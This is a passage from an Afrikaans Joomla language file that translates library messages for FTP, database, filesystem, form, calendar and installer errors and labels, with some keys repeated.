[Verwag: 226]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_PASSIVE="JFTP: :listNames: Kan nie pasiewe modus gebruik nie" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE="JFTP: :mkdir: Slegte antwoord. Bediener antwoord: %1 [Verwag: 257]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: Slegte antwoord. Bediener antwoord: %s [Verwag: 200]. Modus: Ascii" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: Slegte antwoord. Bediener antwoord: %s [Verwag: 200]. Modus gestuur: Ascii" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: Slegte antwoord. Bediener antwoord: %s [Verwag: 200]. Modus: Binêr" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: Slegte antwoord. Bediener antwoord: %s [Verwag: 200]. Modus gestuur: Binary" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT="JFTP: :connect: Kon nie met bediener verbind nie '' %1 '' op port '' %2 ''" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT_SOCKET="JFTP: :connect: Kon nie met bediener verbind nie '' %1 '' op port '' %2 ''. Socket error nommer: %3 en error boodskap: %4" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT="JFTP: :_passive: Kon nie met bediener verbind nie %1 op port %2. Socket error nommer: %3 en error boodskap: %4" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT_PORT="JFTP: :_passive: Nie met die beheer poort verbind nie" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_OBTAIN="JFTP: :_passive: Kan nie IP en poort vir data oordrag verkry nie. Bediener antwoord: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_VALID="JFTP: :_passive: IP en poort nie geldig vir data oordrag nie. Bediener antwoord: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_RESPONSE="JFTP: :_passive: Onbekende antwoord van bediener. Bediener antwoord: %s" JLIB_CLIENT_ERROR_JFTP_PUTCMD_SEND="JFTP: :_putCmd: Kan nie kommando stuur nie: %s" JLIB_CLIENT_ERROR_JFTP_PUTCMD_UNCONNECTED="JFTP: :_putCmd: Nie met die beheer-poort verbind nie" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: Slegte antwoord. Bediener antwoord: %s [Verwag: 257]" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: Slegte antwoord. Bediener antwoord: %s [Verwag: 257]" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP: :pwd: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP: :pwd: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE="JFTP: :read: Slegte antwoord. Bediener antwoord: %1 [Verwag: 150 of 125]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_PASSIVE="JFTP: :read: Kon nie passiewe modus gebruik nie" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_TRANSFER="JFTP: :read: Oordrag Gefaal. Bediener antwoord: %1 [Verwag: 226]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: Slegte antwoord. Bediener antwoord: %s [Verwag: 220]" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: Slegte antwoord. Bediener antwoord: %s [Verwag: 220]" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_FROM="JFTP: :rename: Slegte bediender antwoord: %1 [Verwag: 350]. Gestuur van gidspad: %2" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE="JFTP: :restart: Slegte antwoord. Bediener antwoord: %1 [Verwag: 350]. Restart point gestuur: %2" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE="JFTP: :store: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_STOR="JFTP: :store: Slegte antwoord. Bediener antwoord: %1 [Verwag: 150 of 125]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_TRANSFER="JFTP: :store: Oordrag Gefaal. Bediener antwoord: %1 [Verwag: 226]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_STORE_DATA_PORT="JFTP: :store: Kan nie na data poort socket skryf nie" JLIB_CLIENT_ERROR_JFTP_STORE_FIND_LOCAL="JFTP: :store: Kan nie plaaslike lêer vind nie. Plaaslike gidspad: %s" JLIB_CLIENT_ERROR_JFTP_STORE_PASSIVE="JFTP: :store: Kon nie passiewe modus gebruik nie" JLIB_CLIENT_ERROR_JFTP_STORE_READING_LOCAL="JFTP: :store: Kan nie plaaslike lêer oopmaak vir lees nie. Plaaslike gidspad: %s" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: Slegte antwoord. Bediener antwoord: %s [Verwag: 215]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: Slegte antwoord. Bediener antwoord: %s [Verwag: 215]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_VERIFYRESPONSE="JFTP: :_verifyResponse: Onverwagte bediener antwoord: %s" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE="JFTP: :write: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_STOR="JFTP: :write: Slegte antwoord. Bediener antwoord: %1 [Verwag: 150 of 125]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_TRANSFER="JFTP: :write: Oordrag Gefaal. Bediener antwoord: %1 [Verwag: 226]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_WRITE_DATA_PORT="JFTP: :write: Kan nie na data poort socket skryf nie" JLIB_CLIENT_ERROR_JFTP_WRITE_PASSIVE="JFTP: :write: Kon nie passiewe modus gebruik nie" JLIB_CLIENT_ERROR_LDAP_ADDRESS_NOT_AVAILABLE="Adres nie beskikbaar nie." JLIB_DATABASE_ERROR_ADAPTER_MYSQL="Die MySQL aanpasser ''mysql'' is nie beskikbaar nie." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="Die MySQL aanpasser 'mysqli' is nie beskikbaar nie." JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Kan nie die gepubliseer staat verander wanneer die ouer-item in 'n laer staat is." JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS="'n Ander artikel van hierdie kategorie het dieselfde alias" JLIB_DATABASE_ERROR_BIND_FAILED_INVALID_SOURCE_ARGUMENT="%s: :bind het gefaal. Ongeldige bron argument." JLIB_DATABASE_ERROR_CATEGORY_UNIQUE_ALIAS="'n Ander kategorie met dieselfde ouer-kategorie het dieselfde alias." JLIB_DATABASE_ERROR_CHECK_FAILED="%s: :check Gefaal - %s" JLIB_DATABASE_ERROR_CHECKIN_FAILED="%s: :checkIn het gefaal - %s" JLIB_DATABASE_ERROR_CHECKOUT_FAILED="%s: :checkOut het gefaal - %s" JLIB_DATABASE_ERROR_CHILD_ROWS_CHECKED_OUT="Child rows checked out." JLIB_DATABASE_ERROR_CLASS_DOES_NOT_SUPPORT_ORDERING="%s ondersteun nie rangskikking volgens volgorde." JLIB_DATABASE_ERROR_CLASS_IS_MISSING_FIELD="Ontbrekende veld in the databasis: %s   %s." JLIB_DATABASE_ERROR_CLASS_NOT_FOUND_IN_FILE="Tabel klas %s nie in lêer gevind nie." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Kon nie met die Databasis verbind nie: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Kon nie met MySQL verbind nie." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Kon nie met die databasis verbind nie" JLIB_DATABASE_ERROR_DELETE_CATEGORY="Links-Regs data teenstrydigheid. Kan nie kategorie skrap nie." JLIB_DATABASE_ERROR_DELETE_FAILED="%s: :delete het gefaal - %s" JLIB_DATABASE_ERROR_DELETE_ROOT_CATEGORIES="Wortel kategorië kan nie geskrap word nie." JLIB_DATABASE_ERROR_EMAIL_INUSE="Hierdie e-pos is alreeds geregistreer." JLIB_DATABASE_ERROR_EMPTY_ROW_RETURNED="Die databasis ry is leeg." JLIB_DATABASE_ERROR_FUNCTION_FAILED="DB funksie het gefaal met fout nommer %s
              %s" JLIB_DATABASE_ERROR_GET_NEXT_ORDER_FAILED="%s: :getNextOrder gefaal - %s" JLIB_DATABASE_ERROR_GETNODE_FAILED="%s: :_getNode Gefaal - %s" JLIB_DATABASE_ERROR_GETROOTID_FAILED="%s: :getRootId gefaal - %s" JLIB_DATABASE_ERROR_GET_TREE_FAILED="%s: :getTree Gefaal - %s" JLIB_DATABASE_ERROR_HIT_FAILED="%s: :hit het gefaal - %s" JLIB_DATABASE_ERROR_INVALID_LOCATION="%s: :setLocation - Ongeldige plek" JLIB_DATABASE_ERROR_INVALID_PARENT_ID="Ongeldige Ouer-id." JLIB_DATABASE_ERROR_LANGUAGE_NO_TITLE="Die taal moet 'n titel hê" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Kon nie Databasis Aandrywer laai nie: %s" JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT="'n Eerste vlak menu item alias kan nie 'component' wees nie." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER="'n Eerste vlak menu item alias kan nie '%s' wees nie omdat '%s' 'n sub-vouer in jou Joomla! installasie is." JLIB_DATABASE_ERROR_MENUTYPE_EMPTY="Menu tipe leeg" JLIB_DATABASE_ERROR_MENUTYPE_EXISTS="Menu tipe bestaan: %s" JLIB_DATABASE_ERROR_MOVE_FAILED="%s: :move het gefaal - %s" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_CATEGORY="Kategorie moet 'n titel hê" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_EXTENSION="Ekstensie moet 'n titel hê" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MODULE="Module moet 'n titel hê" JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED="%s kan nie negatief wees nie" JLIB_DATABASE_ERROR_NO_ROWS_SELECTED="Geen rye gekies nie." JLIB_DATABASE_ERROR_NULL_PRIMARY_KEY="Nul primêre sleutel nie toegelaat nie." JLIB_DATABASE_ERROR_ORDERUP_FAILED="%s: :orderUp Gefaal - %s" JLIB_DATABASE_ERROR_PUBLISH_FAILED="%s: :publish het gefaal - %s" JLIB_DATABASE_ERROR_REBUILD_FAILED="%s: :rebuild Gefaal - %s" JLIB_DATABASE_ERROR_REORDER_FAILED="%s: :reorder het gefaal - %s" JLIB_DATABASE_ERROR_REORDER_UPDATE_ROW_FAILED="%s: :reorder opdateer van die ry %s het gefaal - %s" JLIB_DATABASE_ERROR_STORE_FAILED="%1: :stoor het gefaal
              %2" JLIB_DATABASE_ERROR_USERNAME_INUSE="Gebruiker naam in gebruik" JLIB_DATABASE_ERROR_VALID_MAIL="Tik asseblief 'n geldige e-pos adres." JLIB_DATABASE_FUNCTION_NOERROR="DB funksie reporteer geen foute nie" JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS="Kon nie dokument klas laai nie" JLIB_ENVIRONMENT_SESSION_EXPIRED="Jou sessie het verstreik. Teken asseblief weer in." JLIB_ERROR_INFINITE_LOOP="Oneindige programmeer-lus in JError" JLIB_FILESYSTEM_BZIP_NOT_SUPPORTED="BZip2 nie ondersteun nie" JLIB_FILESYSTEM_BZIP_UNABLE_TO_READ="Kon nie argief lees nie (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE_FILE="Kon nie na lêer skyf nie (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE="Kon nie na argief skryf nie (bz2)" JLIB_FILESYSTEM_CANNOT_FIND_SOURCE_FILE="Kan nie bron lêer vind nie" JLIB_FILESYSTEM_DELETE_FAILED="Gefaal deleting %s" JLIB_FILESYSTEM_ERROR_COPY_FAILED="Kopieer het gefaal" JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER="Kan nie bron vouer vind nie" JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS="Vouer bestaan alreeds" JLIB_FILESYSTEM_ERROR_FOLDER_LOOP="Oneindige Programmeerlus gevind" JLIB_FILESYSTEM_ERROR_FOLDER_PATH="Gidspad nie in open_basedir gidspaaie nie" JLIB_FILESYSTEM_ERROR_FOLDER_RENAME="Hernoem het gefaal: %s" JLIB_FILESYSTEM_ERROR_JFILE_FIND_COPY="JFile: :copy: Kan nie lêer vind of lees nie: $%s" JLIB_FILESYSTEM_ERROR_JFILE_MOVE_STREAMS="JFile: :move: %s" JLIB_FILESYSTEM_ERROR_JFILE_STREAMS="JFile: :copy(%1, %2): %3" JLIB_FILESYSTEM_ERROR_NO_DATA_WRITTEN="Waarskuwing: Geen data geskryf nie" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FILES="JFolder: :files: Gidspad is nie 'n vouer nie. Gidspad: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER="JFolder: :delete: Gidspad is nie 'n vouer nie. Gidspad: %s" JLIB_FILESYSTEM_ERROR_READ_UNABLE_TO_OPEN_FILE="JFile: :read: Kon nie lêer oopmaak nie: %s" JLIB_FILESYSTEM_ERROR_RENAME_FILE="Hernoem het gefaal" JLIB_FILESYSTEM_ERROR_STREAMS_FILENAME="Lêernaam nie gestel nie" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_NOT_OPEN="Lêer nie oop nie" JLIB_FILESYSTEM_ERROR_UPLOAD="JLfile: :upload: %s" JLIB_FILESYSTEM_ERROR_WRITE_STREAMS="JFile: :write(%1): %2" JLIB_FILESYSTEM_GZIP_UNABLE_TO_READ="Kon nie argief lees nie (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE="Kon nie na argief skryf nie (gz)" JLIB_FILESYSTEM_TAR_UNABLE_TO_CREATE_DESTINATION="Kon nie bestemming skep nie" JLIB_FILESYSTEM_TAR_UNABLE_TO_READ="Kon nie argief lees nie (tar)" JLIB_FILESYSTEM_TAR_UNABLE_TO_WRITE_ENTRY="Kon nie item skryf nie" JLIB_FILESYSTEM_UNABLE_TO_LOAD_ARCHIVE="Kon nie laai argief" JLIB_FILESYSTEM_UNKNOWNARCHIVETYPE="Onbekend Argief tipe" JLIB_FILESYSTEM_ZIP_INFO_FAILED="ZIP Inligting verkry het gefaal" JLIB_FILESYSTEM_ZIP_INVALID_ZIP_DATA="Ongeldige ZIP data" JLIB_FILESYSTEM_ZIP_NOT_SUPPORTED="Zlib Nie Ondersteun nie" JLIB_FILESYSTEM_ZIP_UNABLE_TO_CREATE_DESTINATION="Kon nie bestemming skep nie" JLIB_FILESYSTEM_ZIP_UNABLE_TO_OPEN_ARCHIVE="Kon nie argief oopmaak nie" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ_ENTRY="Kon nie item lees nie" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ="Kon nie argief lees nie (zip)" JLIB_FILESYSTEM_ZIP_UNABLE_TO_WRITE_ENTRY="Kon nie item skryf nie" JLIB_FORM_CHANGE_IMAGE_BUTTON="Wysig Beeld Knoppie" JLIB_FORM_CHANGE_IMAGE="Wysig beeld" JLIB_FORM_CHANGE_USER="Kies Gebruiker" JLIB_FORM_ERROR_NO_DATA="Geen data nie" JLIB_FORM_ERROR_VALIDATE_FIELD="Ongeldige XML veld" JLIB_FORM_ERROR_XML_FILE_DID_NOT_LOAD="XML lêer het nie gelaai nie" JLIB_FORM_INVALID_FORM_OBJECT="Ongeldige Vorm Objek: :%s" JLIB_FORM_INVALID_FORM_RULE="Ongeldige Vorm Reel: :%s" JLIB_FORM_SELECT_USER="Kies 'n Gebruiker" JLIB_FORM_VALIDATE_FIELD_INVALID="Ongeldige veld: %s" JLIB_FORM_VALIDATE_FIELD_INVALID="Ongeldige veld: %s" JLIB_FORM_VALIDATE_FIELD_REQUIRED="Veld vereis: %s" JLIB_FORM_VALUE_CACHE_APC="Alternatiewe PHP Kas" JLIB_FORM_VALUE_CACHE_APC="Alternatiewe PHP Kas" JLIB_FORM_VALUE_CACHE_CACHELITE="Cache_Lite" JLIB_FORM_VALUE_CACHE_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_CACHE_FILE="Lêer" JLIB_FORM_VALUE_CACHE_FILE="Lêer" JLIB_FORM_VALUE_CACHE_MEMCACHE="Memcache" JLIB_FORM_VALUE_CACHE_WINCACHE="Windows Kas" JLIB_FORM_VALUE_CACHE_XCACHE="XCache" JLIB_FORM_VALUE_SESSION_APC="Alternatiewe PHP Kas" JLIB_FORM_VALUE_SESSION_DATABASE="Databasis" JLIB_FORM_VALUE_SESSION_DATABASE="Databasis" JLIB_FORM_VALUE_SESSION_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_NONE="Geen" JLIB_FORM_VALUE_SESSION_WINCACHE="Windows Kas" JLIB_FORM_VALUE_SESSION_WINCACHE="Windows (O/S) Kas" JLIB_FORM_VALUE_SESSION_XCACHE="XCache" JLIB_FORM_VALUE_TIMEZONE_UTC="Universele Tyd, koordineerd (UTC)" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="ACL" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="ACL" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE="Tabel" JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION="ACL Opsommingstabel" JLIB_HTML_ACCESS_SUMMARY="Opsomming" JLIB_HTML_ADD_TO_ROOT="Voeg by wortel" JLIB_HTML_ADD_TO_THIS_MENU="Voeg by hierdie menu" JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR="Aangaande die Kalender" JLIB_HTML_BEHAVIOR_CLOSE="Sluit" JLIB_HTML_BEHAVIOR_DATE_SELECTION="Datum keuse:\n" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Vertoon %s eerste" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Vertoon %s eerste" JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE="Sleep om te skuif" JLIB_HTML_BEHAVIOR_GO_TODAY="Gaan na Vandag" JLIB_HTML_BEHAVIOR_GREEN="Groen" JLIB_HTML_BEHAVIOR_SELECT_DATE="Kies 'n datum ." JLIB_HTML_BEHAVIOR_SELECT_DATE="Kies 'n datum ." JLIB_HTML_BEHAVIOR_TIME="Tyd:" JLIB_HTML_BEHAVIOR_TODAY="Vandag" JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES="Alle Lêers (*.*)" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_FILE="Huidig Lêer: {name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_PROGRESS="Huidige Vordering" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_TITLE="Lêer Oplaai" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_IOERROR="Oordrag Fout" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_SECURITYERROR="Sekuriteits Fout" JLIB_HTML_BEHAVIOR_UPLOADER_FILE_ERROR="Lêer Fout" JLIB_HTML_BEHAVIOR_UPLOADER_FILENAME="{name}" JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED="Lêer Suksesvol Opgelaai." JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE_TITLE="Verwyder Titel" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE="Verwyder" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE="Verwyder" JLIB_HTML_BEHAVIOR_UPLOADER_UPLOAD_COMPLETED="Oplaai Voltooi." JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_DUPLICATE="Lêer bestaan reeds" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTMAX="Te veel Lêers" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMAX="Lêer is te Groot" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMIN="Lêer is te Klein" JLIB_HTML_BEHAVIOR_WK="wk" JLIB_HTML_BUTTON_NO_LOAD="Kon nie knoppie %s (%s) laai nie;" JLIB_HTML_CALENDAR="Kalender" JLIB_HTML_CHECKED_OUT="Uitgeteken" JLIB_HTML_CHECKIN="Inteken" JLIB_HTML_END="Einde" JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE="%s: :%s nie ondersteun nie. Lêer nie gevind nie." JLIB_HTML_ERROR_NOTSUPPORTED="%s: :%s nie ondersteun nie." JLIB_HTML_MOVE_DOWN="Skuif Af" JLIB_HTML_MOVE_UP="Skuif Op" JLIB_HTML_NO_RECORDS_FOUND="Geen rekord gevind" JLIB_HTML_NO_RECORDS_FOUND="Geen rekord gevind nie" JLIB_HTML_PAGE_CURRENT_OF_TOTAL="Bladsy %s van %s" JLIB_HTML_PUBLISHED_EXPIRED_ITEM="Gepubliseer, maar het Verstreik" JLIB_HTML_PUBLISHED_FINISHED="Voltooi: %s" JLIB_HTML_PUBLISHED_ITEM="Gepubliseer en is Huidig" JLIB_HTML_PUBLISHED_START="Begin: %s" JLIB_HTML_PUBLISH_ITEM="Publiseer Item" JLIB_HTML_RESULTS_OF="Resultate %s - %s van %s" JLIB_HTML_SAVE_ORDER="Stoor Rangskikkingsorde" JLIB_HTML_SELECT_STATE="Kies Staat" JLIB_HTML_SETDEFAULT_ITEM="Stel die verstek" JLIB_HTML_SETDEFAULT_ITEM="Stel die verstek" JLIB_HTML_START="Begin" JLIB_HTML_UNPUBLISH_ITEM="Ontpubliseer Item" JLIB_HTML_UNPUBLISH_ITEM="Ontpubliseer Item" JLIB_HTML_UNSETDEFAULT_ITEM="Herstel die verstek" JLIB_HTML_VIEW_ALL="Kyk na Almal" JLIB_INSTALLER_ABORT_ALREADYINSTALLED="Ekstensie is reeds installeer" JLIB_INSTALLER_ABORT_COMP_INSTALL_COPY_SETUP="Komponent Installeer: Kon nie installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_INSTALL_CUSTOM_INSTALL_FAILURE="Komponent Installeer: Fout met die pasgemaakte installeer roetiene" JLIB_INSTALLER_ABORT_COMP_INSTALL_MANIFEST="Komponent Installeer: Kon nie PHP manifes-lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_INSTALL="Komponent Installeer: Kon nie PHP installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK="Komponent Installeer: %s" JLIB_INSTALLER_ABORT_COMP_INSTALL_SQL_ERROR="Komponent Installeer: SQL fout lêer %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_MANIFEST="Komponent Opdateer: Kon nie PHP manifes-lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_INSTALL="Komponent Opdateer: Kon nie PHP installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_UPDATE_ROLLBACK="Komponent Opdateer: %s" JLIB_INSTALLER_ABORT_EXTENSIONNOTVALID="Ekstensie is nie geldige nie" JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP="Lêers Installeer: Kon nie installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK="Lêers Installeer: %s" JLIB_INSTALLER_ABORT_FILE_ROLLBACK="Lêers Installeer: %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_ALREADY_INSTALLED="Biblioteek Installeer: Biblioteek reeds installeer" JLIB_INSTALLER_ABORT_LIB_INSTALL_COPY_SETUP="Biblioteek Installeer: Kon nie installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_LIB_INSTALL_NOFILE="Biblioteek Installeer: Geen Biblioteek lêer spesifiseer nie" JLIB_INSTALLER_ABORT_LIB_INSTALL_ROLLBACK="Biblioteek Installeer: %s" JLIB_INSTALLER_ABORT_LOAD_DETAILS="Gefaal om ekstensie details te laai" JLIB_INSTALLER_ABORT_MOD_INSTALL_COPY_SETUP="Module Installeer: Kon nie installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_MOD_INSTALL_CUSTOM_INSTALL_FAILURE="Module Installeer: Fout met die pasgemaakte installeer roetiene" JLIB_INSTALLER_ABORT_MOD_ROLLBACK="Module %1: %2" JLIB_INSTALLER_ABORT_NOINSTALLPATH="Installeer gidspad bestaan nie" JLIB_INSTALLER_ABORT_NOUPDATEPATH="Opdateer gidspad bestaan nie" JLIB_INSTALLER_ABORT_PACK_INSTALL_COPY_SETUP="Paket Installeer: Kon nie installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_PACK_INSTALL_ROLLBACK="Paket Installeer: %s" JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE="Plugin Installeer: Fout met die pasgemaakte installeer roetiene" JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST="Plugin %s: Kon nie PHP manifes-lêer kopieer nie." JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK="Inprop-Program %1: %2" JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR="Plugin %1: SQL fout lêer %2" JLIB_INSTALLER_ABORT_PLG_UNINSTALL_SQL_ERROR="Plugin Ontinstalleer SQL fout lêer %s" JLIB_INSTALLER_ABORT="Staak taal installasie: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ALREADY_INSTALLED="Templet Installeer: Templet reeds installeer" JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_SETUP="Templet Installeer: Kon nie installeer-lêer kopieer nie." JLIB_INSTALLER_ABORT_TPL_INSTALL_ROLLBACK="Templet Installeer: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_UNKNOWN_CLIENT="Templet Installeer: Onbekende kliënt tipe [%s]" JLIB_INSTALLER_DEFAULT_STYLE="%s - Verstek" JLIB_INSTALLER_DEFAULT_STYLE="%s - Verstek" JLIB_INSTALLER_DISCOVER="Ontdek" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DEFAULT="Hierdie taal kan nie ontinstalleer word nie so lank dit as die verstek taal defineer is." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PATH_EMPTY="Taal Ontinstalleer: Taal gidspad is leeg, kan nie lêers ontinstalleer nie" JLIB_INSTALLER_ERROR_LOAD_XML="JInstaller: :Installeer: Gefaal om XML Lêer te laai: %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION="Module Ontinstalleer: %s" JLIB_INSTALLER_ERROR_NO_FILE="JInstaller: :Installeer: Lêer bestaan nie %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_MANIFEST="Paket Ontinstalleer: Ongeldige manifes lêer" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_LOAD_MANIFEST="Paket Ontinstalleer: Kon nie manifes lêer laai nie" JLIB_INSTALLER_ERROR_SQL_ERROR="JInstaller: :Install: Fout SQL %s" JLIB_INSTALLER_ERROR_SQL_READBUFFER="JInstall: :Installer: SQL Lêer Buffer Lees Fout" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Templet Ontinstalleer: Manifes lêer nie geldig nie of nie gevind nie." JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="Onbekende Kliënt Tipe [%s]" JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="Onbekend Kliënt Tipe [%s]" JLIB_INSTALLER_INSTALL="Installeer" JLIB_INSTALLER_UNINSTALL="Ontinstalleer" JLIB_INSTALLER_UPDATE="Opdateer" JLIB_LOGIN_AUTHENTICATE="Gebruikernaam en wagwoord 